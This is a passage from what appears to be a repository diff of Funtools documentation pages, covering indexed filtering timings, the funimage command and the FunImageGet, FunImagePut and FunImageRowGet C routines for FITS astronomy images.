Also note that certain types of filter expression syntax cannot make
|
||||
use of indices. For example, calling functions with column names as
|
||||
arguments implies that all rows must be checked against the function
|
||||
value. Once again, however, if this function is part of an AND
|
||||
expression, then a significant improvement in speed still is possible
|
||||
if the other part of the AND expression is indexed.
|
||||
|
||||
|
||||
For example, note below the dramatic speedup in searching a 1 Gb
|
||||
file using an AND filter, even when one of the columns (pha) has no
|
||||
index:
|
||||
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
|
||||
"x y pha"
|
||||
x y pha
|
||||
---------- ----------- ----------
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
42.36u 13.07s 6:42.89 13.7%
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
|
||||
"x y pha"
|
||||
x y pha
|
||||
---------- ----------- ----------
|
||||
idxeq: [INDEF]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxand(1): INDEF [IDX_OR_SORT]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
1.55u 0.37s 1:19.80 2.4%
|
||||
|
||||
|
||||
When all columns are indexed, the increase in speed can be even more dramatic:
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=0,idx_debug=1,pi=770&&cir 4000 4000 1]' \
|
||||
"x y pi"
|
||||
x y pi
|
||||
---------- ----------- ----------
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
42.60u 12.63s 7:28.63 12.3%
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=1,idx_debug=1,pi=770&&cir 4000 4000 1]' \
|
||||
"x y pi"
|
||||
x y pi
|
||||
---------- ----------- ----------
|
||||
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
|
||||
idxmerge(5): [IDX_OR_SORT] pi[ROW]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
1.67u 0.30s 0:24.76 7.9%
|
||||
|
||||
|
||||
|
||||
The miracle of indexed filtering (and indeed, of any indexing) is the
|
||||
speed of the binary search on the index, which is of order log2(n)
|
||||
instead of n. (The funtools binary search method is taken from
|
||||
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
|
||||
grateful acknowledgement is made.) This means that the larger the
|
||||
file, the better the performance. Conversely, it also means that for
|
||||
small files, using an index (and the overhead involved) can slow
|
||||
filtering down somewhat. Our tests indicate that on a file containing
|
||||
a few tens of thousands of rows, indexed filtering can be 10 to 20
|
||||
percent slower than non-indexed filtering. Of course, your mileage
|
||||
will vary with conditions (disk access speed, amount of available
|
||||
memory, process load, etc.)
|
||||
|
||||
|
||||
Any problem encountered during index processing will result in
|
||||
indexing being turned off, and replaced by filtering all rows. You can turn
|
||||
filtering off manually by setting the idx_activate variable to 0 (in a filter
|
||||
expression) or the FILTER_IDX_ACTIVATE environment variable to 0 (in the global
|
||||
environment). Debugging output showing how the indexes are being processed can
|
||||
be displayed to stderr by setting the idx_debug variable to 1 (in a filter
|
||||
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
|
||||
environment).
|
||||
|
||||
|
||||
Currently, indexed filtering only works with FITS binary tables and raw
|
||||
event files. It does not work with text files. This restriction might be
|
||||
removed in a future release.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,314 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funimage - create a FITS image from a Funtools data file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funimage [-a] <iname> <oname> [bitpix=n]
|
||||
funimage [-l] <iname> <oname> <xcol:xdims> <ycol:ydims> <vcol> [bitpix=n]
|
||||
funimage [-p x|y] <iname> <oname> [bitpix=n]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-a # append to existing output file as an image extension
|
||||
-l # input is a list file containing xcol, ycol, value
|
||||
-p [x|y] # project along x or y axis to create a 1D image
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funimage> creates a primary FITS image from the specified
|
||||
FITS Extension
|
||||
and/or
|
||||
Image Section
|
||||
of a FITS file, or from an
|
||||
Image Section
|
||||
of a non-FITS array, or from a raw event file.
|
||||
|
||||
The first argument to the program specifies the FITS input image,
|
||||
array, or raw event file to process. If "stdin" is specified, data are
|
||||
read from the standard input. Use Funtools
|
||||
Bracket Notation to specify FITS extensions, image sections, and
|
||||
filters. The second argument is the output FITS file. If "stdout" is
|
||||
specified, the FITS image is written to the standard output. By
|
||||
default, the output pixel values are of the same data type as those of the
|
||||
input file (or type "int" when binning a table), but this can be
|
||||
overridden using an optional third argument of the form:
|
||||
|
||||
bitpix=n
|
||||
|
||||
where n is 8,16,32,-32,-64, for unsigned char, short, int, float and double,
|
||||
respectively.
|
||||
|
||||
|
||||
If the input data are of type image, the appropriate section is
|
||||
extracted and blocked (based on how the
|
||||
Image Section is specified), and
|
||||
the result is written to the FITS primary image. When an integer
|
||||
image containing the BSCALE and BZERO keywords is converted to float,
|
||||
the pixel values are scaled and the scaling keywords are deleted from the
|
||||
output header. When converting integer scaled data to integer
|
||||
(possibly of a different size), the pixels are not scaled and the
|
||||
scaling keywords are retained.
|
||||
|
||||
|
||||
If the input data is a binary table or raw event file, these are
|
||||
binned into an image, from which a section is extracted and blocked,
|
||||
and written to a primary FITS image. In this case, it is necessary to
|
||||
specify the two columns that will be used in the 2D binning. This can
|
||||
be done on the command line using the B<bincols=(x,y)> keyword:
|
||||
|
||||
funcnts "foo.ev[EVENTS,bincols=(detx,dety)]"
|
||||
|
||||
The full form of the B<bincols=> specifier is:
|
||||
|
||||
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
|
||||
|
||||
where the tlmin, tlmax, and binsiz specifiers determine the image binning
|
||||
dimensions:
|
||||
|
||||
dim = (tlmax - tlmin)/binsiz (floating point data)
|
||||
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
|
||||
|
||||
Using this syntax, it is possible to bin any two columns of a binary
|
||||
table at any bin size. Note that the tlmin, tlmax, and binsiz
|
||||
specifiers can be omitted if TLMIN, TLMAX, and TDBIN header parameters
|
||||
(respectively) are present in the FITS binary table header for the
|
||||
column in question. Note also that if only one parameter is specified,
|
||||
it is assumed to be tlmax, and tlmin defaults to 1. If two parameters
|
||||
are specified, they are assumed to be tlmin and tlmax.
|
||||
See Binning FITS Binary Tables and Non-FITS
|
||||
Event Files for more information about binning parameters.
|
||||
|
||||
|
||||
By default, a new 2D FITS image file is created and the image is written
|
||||
to the primary HDU. If the B<-a> (append) switch is specified,
|
||||
the image is appended to an existing FITS file as an IMAGE extension.
|
||||
(If the output file does not exist, the switch is effectively ignored
|
||||
and the image is written to the primary HDU.) This can be useful in a
|
||||
shell programming environment when processing multiple FITS images
|
||||
that you want to combine into a single final FITS file.
|
||||
|
||||
|
||||
B<funimage> also can take input from a table containing columns of
|
||||
x, y, and value (e.g., the output from B<fundisp -l> which
|
||||
displays each image x and y and the number of counts at that
|
||||
position.) When the B<-l> (list) switch is used, the input file is
|
||||
taken to be a FITS or ASCII table containing (at least) three columns
|
||||
that specify the x and y image coordinates and the value of that
|
||||
image pixel. In this case, B<funimage> requires four extra
|
||||
arguments: xcolumn:xdims, ycolumn:ydims, vcolumn and bitpix=n. The x
|
||||
and y col:dim information takes the form:
|
||||
|
||||
name:dim # values range from 1 to dim
|
||||
name:min:max # values range from min to max
|
||||
name:min:max:binsiz # dimensions scaled by binsize
|
||||
|
||||
In particular, the min value should be used whenever the
|
||||
minimum coordinate value is something other than one. For example:
|
||||
|
||||
funimage -l foo.lst foo.fits xcol:0:512 ycol:0:512 value bitpix=-32
|
||||
|
||||
|
||||
|
||||
The list feature also can be used to read unnamed columns from standard
|
||||
input: simply replace the column name with a null string. Note
|
||||
that the dimension information is still required:
|
||||
|
||||
funimage -l stdin foo.fits "":0:512 "":0:512 "" bitpix=-32
|
||||
240 250 1
|
||||
255 256 2
|
||||
...
|
||||
^D
|
||||
|
||||
|
||||
|
||||
The list feature provides a simple way to generate a blank image.
|
||||
If you pass a Column-based Text File
|
||||
to funimage in which the text header contains the required image
|
||||
information, then funimage will correctly make a blank image. For
|
||||
example, consider the following text file (called foo.txt):
|
||||
|
||||
x:I:1:10 y:I:1:10
|
||||
------ ------
|
||||
0 0
|
||||
|
||||
This text file defines two columns, x and y, each of data type 32-bit int and
|
||||
image dimension 10. The command:
|
||||
|
||||
funimage foo.txt foo.fits bitpix=8
|
||||
|
||||
will create an empty FITS image called foo.fits containing a 10x10
|
||||
image of unsigned char:
|
||||
|
||||
fundisp foo.fits
|
||||
1 2 3 4 5 6 7 8 9 10
|
||||
------ ------ ------ ------ ------ ------ ------ ------ ------ ------
|
||||
10: 0 0 0 0 0 0 0 0 0 0
|
||||
9: 0 0 0 0 0 0 0 0 0 0
|
||||
8: 0 0 0 0 0 0 0 0 0 0
|
||||
7: 0 0 0 0 0 0 0 0 0 0
|
||||
6: 0 0 0 0 0 0 0 0 0 0
|
||||
5: 0 0 0 0 0 0 0 0 0 0
|
||||
4: 0 0 0 0 0 0 0 0 0 0
|
||||
3: 0 0 0 0 0 0 0 0 0 0
|
||||
2: 0 0 0 0 0 0 0 0 0 0
|
||||
1: 1 0 0 0 0 0 0 0 0 0
|
||||
|
||||
|
||||
|
||||
Note that the text file must contain at least
|
||||
one row of data. However, in the present example, event position 0,0 is
|
||||
outside the limits of the image and will be ignored. (You can, of course,
|
||||
use real x,y values to seed the image with data.)
|
||||
|
||||
|
||||
Furthermore, you can use the TEXT filter specification to obviate the need for
|
||||
an input text file altogether. The following command will create the same
|
||||
10x10 char image without an actual input file:
|
||||
|
||||
funimage stdin'[TEXT(x:I:10,y:I:10)]' foo.fits bitpix=8 < /dev/null
|
||||
or
|
||||
funimage /dev/null'[TEXT(x:I:10,y:I:10)]' foo.fits bitpix=8
|
||||
|
||||
|
||||
|
||||
You also can use either of these methods to generate a region mask simply
|
||||
by appending a region inside the filter brackets and specfying B<mask=all>
|
||||
along with the bitpix. For example, the following command will generate a
|
||||
10x10 char mask using 3 regions:
|
||||
|
||||
funimage stdin'[TEXT(x:I:10,y:I:10),cir(5,5,4),point(10,1),-cir(5,5,2)]' \
|
||||
foo.fits bitpix=8,mask=all < /dev/null
|
||||
|
||||
The resulting mask looks like this:
|
||||
|
||||
fundisp foo.fits
|
||||
1 2 3 4 5 6 7 8 9 10
|
||||
------ ------ ------ ------ ------ ------ ------ ------ ------ ------
|
||||
10: 0 0 0 0 0 0 0 0 0 0
|
||||
9: 0 0 0 0 0 0 0 0 0 0
|
||||
8: 0 0 1 1 1 1 1 0 0 0
|
||||
7: 0 1 1 1 1 1 1 1 0 0
|
||||
6: 0 1 1 0 0 0 1 1 0 0
|
||||
5: 0 1 1 0 0 0 1 1 0 0
|
||||
4: 0 1 1 0 0 0 1 1 0 0
|
||||
3: 0 1 1 1 1 1 1 1 0 0
|
||||
2: 0 0 1 1 1 1 1 0 0 0
|
||||
1: 0 0 0 0 0 0 0 0 0 2
|
||||
|
||||
|
||||
|
||||
You can use B<funimage> to create 1D image projections along the x
|
||||
or y axis using the B<-p [x|y]> switch. This capability works for
|
||||
both images and tables. For example consider a FITS table named ev.fits
|
||||
containing the following rows:
|
||||
|
||||
X Y
|
||||
-------- --------
|
||||
1 1
|
||||
1 2
|
||||
1 3
|
||||
1 4
|
||||
1 5
|
||||
2 2
|
||||
2 3
|
||||
2 4
|
||||
2 5
|
||||
3 3
|
||||
3 4
|
||||
3 5
|
||||
4 4
|
||||
4 5
|
||||
5 5
|
||||
|
||||
|
||||
A corresponding 5x5 image, called dim2.fits, would therefore contain:
|
||||
|
||||
1 2 3 4 5
|
||||
---------- ---------- ---------- ---------- ----------
|
||||
5: 1 1 1 1 1
|
||||
4: 1 1 1 1 0
|
||||
3: 1 1 1 0 0
|
||||
2: 1 1 0 0 0
|
||||
1: 1 0 0 0 0
|
||||
|
||||
A projection along the y axis can be performed on either the table or
|
||||
the image:
|
||||
|
||||
funimage -p y ev.fits stdout | fundisp stdin
|
||||
1 2 3 4 5
|
||||
---------- ---------- ---------- ---------- ----------
|
||||
1: 1 2 3 4 5
|
||||
|
||||
funimage -p y dim2.fits stdout | fundisp stdin
|
||||
1 2 3 4 5
|
||||
---------- ---------- ---------- ---------- ----------
|
||||
1: 1 2 3 4 5
|
||||
|
||||
|
||||
|
||||
Furthermore, you can create a 1D image projection along any column of
|
||||
a table by using the B<bincols=[column]> filter specification and
|
||||
specifying a single column. For example, the following command
|
||||
projects the same 1D image along the y axis of a table as use of
|
||||
the B<-p y> switch:
|
||||
|
||||
funimage ev.fits'[bincols=y]' stdout | fundisp stdin
|
||||
1 2 3 4 5
|
||||
---------- ---------- ---------- ---------- ----------
|
||||
1: 1 2 3 4 5
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
Create a FITS image from a FITS binary table:
|
||||
|
||||
[sh] funimage test.ev test.fits
|
||||
|
||||
|
||||
|
||||
Display the FITS image generated from a blocked section of FITS binary table:
|
||||
|
||||
[sh] funimage "test.ev[2:8,3:7,2]" stdout | fundisp stdin
|
||||
1 2 3
|
||||
--------- --------- ---------
|
||||
1: 20 28 36
|
||||
2: 28 36 44
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,237 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunImageGet - get an image or image section>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void *FunImageGet(Fun fun, void *buf, char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunImageGet()> routine returns an binned image array of the
|
||||
specified section of a Funtools data file. If the input data are
|
||||
already of type image, the array is generated by extracting the
|
||||
specified image section and then binning it according to the specified
|
||||
bin factor. If the input data are contained in a binary table or raw
|
||||
event file, the rows are binned on the columns specified by the
|
||||
B<bincols=> keyword (using appropriate default columns as
|
||||
necessary), after which the image section and bin factors are
|
||||
applied. In both cases, the data is automatically converted from FITS
|
||||
to native format, if necessary.
|
||||
|
||||
The first argument is the Funtools handle returned by
|
||||
FunOpen(). The second B<buf>
|
||||
argument is a pointer to a data buffer to fill. If NULL is specified,
|
||||
FunImageGet will allocate a buffer of the appropriate size. Generally
|
||||
speaking, you always want Funtools to allocate the buffer because
|
||||
the image dimensions will be determined by
|
||||
Funtools image sectioning
|
||||
on the command line.
|
||||
|
||||
The third B<plist> (i.e., parameter list) argument is a string
|
||||
containing one or more comma-delimited B<keyword=value>
|
||||
parameters. It can be used to specify the return data type using the
|
||||
B<bitpix=> keyword. If no such keyword is specified in the plist
|
||||
string, the data type of the returned image is the same as the data type
|
||||
of the original input file, or is of type int for FITS binary tables.
|
||||
|
||||
|
||||
If the B<bitpix=> keyword is supplied in the plist string, the data
|
||||
type of the returned image will be one of the supported FITS image
|
||||
data types:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
8 unsigned char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
16 short
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
32 int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-32 float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-64 double
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
For example:
|
||||
|
||||
void *buf;
|
||||
/* extract data section into an image buffer */
|
||||
if( !(buf = FunImageGet(fun, NULL, NULL)) )
|
||||
gerror(stderr, "could not FunImageGet: %s\n", iname);
|
||||
|
||||
will allocate buf and retrieve the image in the file data format. In
|
||||
this case, you will have to determine the data type (using the
|
||||
FUN_SECT_BITPIX value in the
|
||||
FunInfoGet()
|
||||
routine)
|
||||
and then use a switch statement to process each data type:
|
||||
|
||||
int bitpix;
|
||||
void *buf;
|
||||
unsigned char *cbuf;
|
||||
short *sbuf;
|
||||
int *ibuf;
|
||||
...
|
||||
buf = FunImageGet(fun, NULL, NULL);
|
||||
FunInfoGet(fun, FUN_SECT_BITPIX, &bitpix, 0);
|
||||
/* set appropriate data type buffer to point to image buffer */
|
||||
switch(bitpix){
|
||||
case 8:
|
||||
cbuf = (unsigned char *)buf; break;
|
||||
case 16:
|
||||
sbuf = (short *)buf; break;
|
||||
case 32:
|
||||
ibuf = (int *)buf; break;
|
||||
...
|
||||
|
||||
See the
|
||||
imblank example code
|
||||
for more details on how to process an image when the data type is not
|
||||
specified beforehand.
|
||||
|
||||
|
||||
It often is easier to specify the data type directly:
|
||||
|
||||
double *buf;
|
||||
/* extract data section into a double image buffer */
|
||||
if( !(buf = FunImageGet(fun, NULL, "bitpix=-64")) )
|
||||
gerror(stderr, "could not FunImageGet: %s\n", iname);
|
||||
|
||||
will extract the image while converting to type double.
|
||||
|
||||
|
||||
On success, a pointer to the image buffer is returned. (This will be
|
||||
the same as the second argument, if NULL is not passed to the latter.)
|
||||
On error, NULL is returned.
|
||||
|
||||
|
||||
In summary, to retrieve image or row data into a binned image, you simply
|
||||
call FunOpen() followed by
|
||||
FunImageGet(). Generally, you
|
||||
then will want to call
|
||||
FunInfoGet()
|
||||
to retrieve the
|
||||
axis dimensions (and data type) of the section you are processing
|
||||
(so as to take account of sectioning and blocking of the original data):
|
||||
|
||||
double *buf;
|
||||
int i, j;
|
||||
int dim1, dim2;
|
||||
... other declarations, etc.
|
||||
|
||||
/* open the input FITS file */
|
||||
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
|
||||
/* extract and bin the data section into a double float image buffer */
|
||||
if( !(buf = FunImageGet(fun, NULL, "bitpix=-64")) )
|
||||
gerror(stderr, "could not FunImageGet: %s\n", argv[1]);
|
||||
|
||||
/* get dimension information from funtools structure */
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
|
||||
|
||||
/* loop through pixels and reset values below limit to value */
|
||||
for(i=0; i<dim1*dim2; i++){
|
||||
if( buf[i] <= blimit ) buf[i] = bvalue;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Another useful plist string value is "mask=all", which returns an
|
||||
image populated with regions id values. Image pixels within a region
|
||||
will contain the associated region id (region values start at 1), and
|
||||
otherwise will contain a 0 value. Thus, the returned image is a
|
||||
region mask which can be used to process the image data (which
|
||||
presumably is retrieved by a separate call to FunImageGet) pixel by
|
||||
pixel.
|
||||
|
||||
|
||||
If a FITS binary table or a non-FITS raw event file is being binned
|
||||
into an image, it is necessary to specify the two columns that will be
|
||||
used in the 2D binning. This usually is done on the command line
|
||||
using the B<bincols=(x,y)> keyword:
|
||||
|
||||
funcnts "foo.ev[EVENTS,bincols=(detx,dety)]"
|
||||
|
||||
|
||||
|
||||
The full form of the B<bincols=> specifier is:
|
||||
|
||||
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
|
||||
|
||||
where the tlmin, tlmax, and binsiz specifiers determine the image binning
|
||||
dimensions:
|
||||
|
||||
dim = (tlmax - tlmin)/binsiz (floating point data)
|
||||
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
|
||||
|
||||
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
|
||||
TLMAX, and TDBIN header parameters (respectively) are present in the
|
||||
FITS binary table header for the column in question. Note that if
|
||||
only one parameter is specified, it is assumed to be tlmax, and tlmin
|
||||
defaults to 1. If two parameters are specified, they are assumed to be
|
||||
tlmin and tlmax.
|
||||
|
||||
|
||||
If B<bincols> is not specified on the command line, Funtools tries
|
||||
to use appropriate defaults: it looks for the environment variable
|
||||
FITS_BINCOLS (or FITS_BINKEY). Then it looks for the Chandra
|
||||
parameters CPREF (or PREFX) in the FITS binary table header. Failing
|
||||
this, it looks for columns named "X" and "Y" and if these are not
|
||||
found, it looks for columns containing the characters "X" and "Y".
|
||||
|
||||
See Binning FITS Binary Tables and
|
||||
Non-FITS Event Files for more information.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,145 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunImagePut - put an image to a Funtools file>
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunImagePut(Fun fun, void *buf, int dim1, int dim2, int bitpix,
|
||||
char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
The B<FunImagePut()> routine outputs an image array to a FITS
|
||||
file. The image is written either as a primary header/data unit or as
|
||||
an image extension, depending on whether other data have already been
|
||||
written to the file. That is, if the current file position is at the
|
||||
beginning of the file, a primary HDU is written. Otherwise, an
|
||||
image extension is written.
|
||||
|
||||
|
||||
The first argument is the Funtools handle returned by
|
||||
FunOpen(). The second B<buf>
|
||||
argument is a pointer to a data buffer to write. The B<dim1>and
|
||||
B<dim2> arguments that follow specify the dimensions of the image,
|
||||
where dim1 corresponds to naxis1 and dim2 corresponds to naxis2. The
|
||||
B<bitpix> argument specifies the data type of the image and can
|
||||
have the following FITS-standard values:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
8 unsigned char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
16 short
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
32 int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-32 float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-64 double
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
When FunTableRowPut() is first
|
||||
called for a given image, Funtools checks to see if the primary header
|
||||
has already been written (by having previously written an image or a
|
||||
binary table.) If not, this image is written to the primary HDU.
|
||||
Otherwise, it is written to an image extension.
|
||||
|
||||
Thus, a simple program to generate a FITS image might look like this:
|
||||
|
||||
int i;
|
||||
int dim1=512, dim2=512;
|
||||
double *dbuf;
|
||||
Fun fun;
|
||||
dbuf = malloc(dim1*dim2*sizeof(double));
|
||||
/* open the output FITS image, preparing to copy input params */
|
||||
if( !(fun = FunOpen(argv[1], "w", NULL)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[1]);
|
||||
for(i=0; i<(dim1*dim2); i++){
|
||||
... fill dbuf ...
|
||||
}
|
||||
/* put the image (header will be generated automatically */
|
||||
if( !FunImagePut(fun, buf, dim1, dim2, -64, NULL) )
|
||||
gerror(stderr, "could not FunImagePut: %s\n", argv[1]);
|
||||
FunClose(fun);
|
||||
free(dbuf);
|
||||
|
||||
|
||||
|
||||
In addition, if a
|
||||
Funtools reference handle
|
||||
was specified when this table was opened, the
|
||||
parameters from this
|
||||
Funtools reference handle
|
||||
are merged into the new image
|
||||
header. Furthermore, if a reference image was specified during
|
||||
FunOpen(), the values of
|
||||
B<dim1>, B<dim2>, and B<bitpix> in the calling sequence
|
||||
can all be set to 0. In this case, default values are taken from the
|
||||
reference image section. This is useful if you are reading an image
|
||||
section in its native data format, processing it, and then writing
|
||||
that section to a new FITS file. See the
|
||||
imblank example code.
|
||||
|
||||
|
||||
The data are assumed to be in the native machine format and will
|
||||
automatically be swapped to FITS big-endian format if necessary. This
|
||||
behavior can be over-ridden with the B<convert=[true|false]>
|
||||
keyword in the B<plist> param list string.
|
||||
|
||||
|
||||
When you are finished writing the image, you should call
|
||||
FunFlush() to write out the FITS
|
||||
image padding. However, this is not necessary if you subsequently call
|
||||
FunClose() without doing any other I/O to the FITS file.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,137 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunImageRowGet - get row(s) of an image>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void *FunImageRowGet(Fun fun, void *buf, int rstart, int rstop,
|
||||
char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunImageRowGet()> routine returns one or more image rows
|
||||
from the specified section of a Funtools data file. If the input data
|
||||
are of type image, the array is generated by extracting the specified
|
||||
image rows and then binning them according to the specified bin
|
||||
factor. If the input data are contained in a binary table or raw
|
||||
event file, the rows are binned on the columns specified by the
|
||||
B<bincols=> keyword (using appropriate default columns as needed),
|
||||
after which the image section and bin factors are applied.
|
||||
|
||||
|
||||
The first argument is the Funtools handle returned by
|
||||
FunOpen(). The second B<buf>
|
||||
argument is a pointer to a data buffer to fill. If NULL is specified,
|
||||
FunImageGet() will allocate a buffer of the appropriate size.
|
||||
|
||||
|
||||
The third and fourth arguments specify the first and last row to
|
||||
retrieve. Rows are counted starting from 1, up to the value of
|
||||
FUN_YMAX(fun). The final B<plist> (i.e., parameter list) argument
|
||||
is a string containing one or more comma-delimited
|
||||
B<keyword=value> parameters. It can be used to specify the return
|
||||
data type using the B<bitpix=> keyword. If no such keyword is
|
||||
specified in the plist string, the data type of the image is the same
|
||||
as the data type of the original input file, or is of type int for
|
||||
FITS binary tables.
|
||||
|
||||
|
||||
If the B<bitpix=>value is supplied in the plist string, the data
|
||||
type of the returned image will be one of the supported FITS image
|
||||
data types:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
8 unsigned char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
16 short
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
32 int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-32 float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-64 double
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
For example:
|
||||
|
||||
double *drow;
|
||||
Fun fun;
|
||||
... open files ...
|
||||
/* get section dimensions */
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
|
||||
/* allocate one line's worth */
|
||||
drow = malloc(dim1*sizeof(double));
|
||||
/* retrieve and process each input row (starting at 1) */
|
||||
for(i=1; i <= dim2; i++){
|
||||
